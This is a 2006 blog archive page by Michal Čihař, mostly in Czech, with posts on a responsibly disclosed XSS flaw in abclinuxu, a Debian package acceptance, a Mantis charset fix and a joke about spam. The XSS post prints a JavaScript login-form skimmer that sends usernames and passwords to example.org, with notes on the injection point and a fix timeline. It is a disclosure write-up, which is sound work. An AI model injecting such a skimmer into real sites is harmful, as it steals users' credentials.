Michal Čihař - Archive for May 2, 2006

Jak ukrást hesla uživatelům abclinuxu?

Když tak řeším bezpečností chyby v phpMyAdminovi, napadlo mě jak jsou proti podobným věcem zabezpečené portály. Protože dost často používám abclinuxu, tak přišlo první na mušku :-).

Předem podotýkám, že tento článek byl nejdříve dán k dispozici adminům, takže doufám, že v době zveřejnění už není možné toto provést.

Většina prohlížečů dnes umí javascript, který se dá dělat spousta zajímavých věcí. Třeba přidat javascript na obsluhu nějaké událost nebo posílat XML HTTP requesty . Bystřejším již možná dochází, že pokud si můžu vložit vlastní javascript, není žádný problém odchytit odesílání přihlašovacího formuláře. Kdo nevěří, může si zkusit následující ukázku (ta heslo jenom zobrazí, ale to už je jenom detail):

 <script type="text/javascript">
<!--
function process() {
    p = document.getElementById('pwd').value;
    u = document.getElementById('usr').value;
    document.getElementById('ls_prepinac').innerHTML = 
        '<img src="http://example.org/?u=' + 
        u + '&p;=' + p + '"/>';
    window.alert('odeslano na example.org:\npass: ' + 
        p + '\n' + 'user: ' + u);
}
function load() {
    frm = document.forms[0];
    frm.onsubmit = process;
}
window.onload = load;
//-->
</script>

<div id="ls_prepinac">xx</div>
<form method="post">
<input type="text" name="u" id="usr">
<input type="password" name="p" id="pwd">
<input type="submit">
</form>

Teď už jenom zbývá jak dostat vlastní javascript na logovací stránku. Protože je samostatná, tak jediná věc, která je tam vidět z uživatelem ovlivnitelného obsahu jsou zprávičky. Obsah zpráviček je (aspoň v to doufám) kontrolován na dovolené html, ale ještě nám zbývá jeden zajímavý prvek. Tím je naše jméno, tam si můžeme napsat cokoliv co chceme, včetně javascriptu. Tak teď už jen zbývá doufat, že to moc lidí nezrealizovalo :-). Napsat zprávičku, která bude schválena až takový problém není a pak už je dílo dokonáno.

Jaké je řešení? Nedovolovat nikde javascript, dá se použít k mnoha nebezpečným věcem.

Stav chyby:

  • 2.5.2006 12:56 - oznámeno
  • 2.5.2006 13:14 - Leoš tvrdí že při zadání kontroluje <
  • 2.5.2006 13:26 - ukazuju mu že nekontroluje (kdo si v té době všiml "x" u mého jména, má 10 bodů za všímavost :-))
  • 2.5.2006 13:45 - Leoš uznává, že kontrola neexistuje
  • 2.5.2006 21:53 - opraveno

Downloads over FTP

Donwload server dl.cihar.com is now available also over ftp. If you want to mirror some content, FTP is more suited for such thing. I might ever block your access to HTTP, if your mirrorer will be too aggressive.

Wammu in Debian

Finally it went through long NEW queue and it has been accepted!

Subject: wammu_0.13-1_i386.changes ACCEPTED
From: Debian Installer <installer@ftp-master.debian.org>
To: Michal Čihař <michal@cihar.com>
Date: Tue, 02 May 2006 08:49:56 -0700

Accepted:
wammu_0.13-1.diff.gz
  to pool/main/w/wammu/wammu_0.13-1.diff.gz
wammu_0.13-1.dsc
  to pool/main/w/wammu/wammu_0.13-1.dsc
wammu_0.13-1_all.deb
  to pool/main/w/wammu/wammu_0.13-1_all.deb
wammu_0.13.orig.tar.gz
  to pool/main/w/wammu/wammu_0.13.orig.tar.gz
Announcing to debian-devel-changes@lists.debian.org
Closing bugs: 326710

Thank you for your contribution to Debian.

Mantis and new MySQL

I just moved Mantis serving bugs.cihar.com to this host and upgraded it also to latest stable version. However it still doesn't deal correctly with recent MySQL. I have no idea why all those PHP application guys ignore charset features in MySQL.

So if you want to use non ASCII chars in Mantis with recent MySQL and you need to modify core/adodb/drivers/adodb-mysql.inc.php and add at the end of _connect and _pconnect funcions code to set connection charset:

mysql_query('SET NAMES \'utf8\'', $this->_connectionID);

Spam je zdravý

Občas nechápu na co všechno se dají získat granty. Vědci z University of Alberta vyzkoumali, že nevyžádaná pošta může mít dobrý vliv na zdravotní stav člověka . Posílat lidem nevyžádanou reklamu na zdravý způsob života a zkoumat jak je to ovlivní je vskuktu geniální nápad. Jenom je vidět. že dotyční asi moc zkušeností se spamem neměli, když jim prošel přes všechny filtry :-).